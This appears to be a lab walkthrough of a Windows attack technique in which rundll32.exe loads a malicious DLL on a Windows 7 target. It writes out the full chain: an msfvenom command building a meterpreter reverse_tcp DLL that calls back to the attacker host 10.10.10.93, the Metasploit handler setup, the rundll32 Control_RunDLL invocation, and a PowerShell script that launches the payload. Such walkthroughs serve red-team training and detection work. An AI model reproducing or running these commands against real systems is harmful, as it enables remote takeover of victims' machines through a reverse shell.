Environment
IP | HOSTNAME | NOTE |
|---|---|---|
10.10.10.93 | Kali | Attacker host |
10.10.10.94 | Windows7 | Target host |
Related Script
| Content | Download |
|---|---|
PowershellScript |
Introduction to Rundll32:
Rundll32.exemeans “execute a 32-bitDLLfile.” It executes internal functions in aDLLfile, providing a command-line way to invoke a dynamic-link library.
Note: The directory containing
Rundll32.exehas already been added to the system's PATH environment variable, so theWmiccommand can recognize it. Pay attention to whether thex86orx64version ofRundll32is being invoked.
- Default locations on
Windows 2003:
C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe
Attack Process:
Configure msf on the attacker host:
- Use
msfto generate apayload.
msfvenom ‐a x86 ‐‐platform windows ‐p windows/meterpreter/reverse_tcp LHOST=10.10.10.93 LPORT=2333 ‐f dll > hunter_rundll32.dll

- Start a listener with
msf.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.10.93
set lport 2333
exploit # 如下图:

Execute on the target host:
- On
windows7, execute the malicious file throughrundll32.exe; the file is adll.
c:\Windows\SysWOW64\rundll32.exe shell32.dll,Control_RunDLL C:\Users\aesteam3\Desktop\hunter_rundll32.dll

- The
kaliattacker host successfully receives the reverseshell, as shown below:


Write the Powershell code:
$rundll32_path = "C:\Windows\SysWOW64\rundll32.exe"
$malicious_dll_path = "C:\Users\aesteam3\Desktop\hunter_rundll32.dll"
Start-Process -FilePath $rundll32_path -ArgumentList "shell32.dll,Control_RunDLL $malicious_dll_path"

Result of executing the Powershell code:
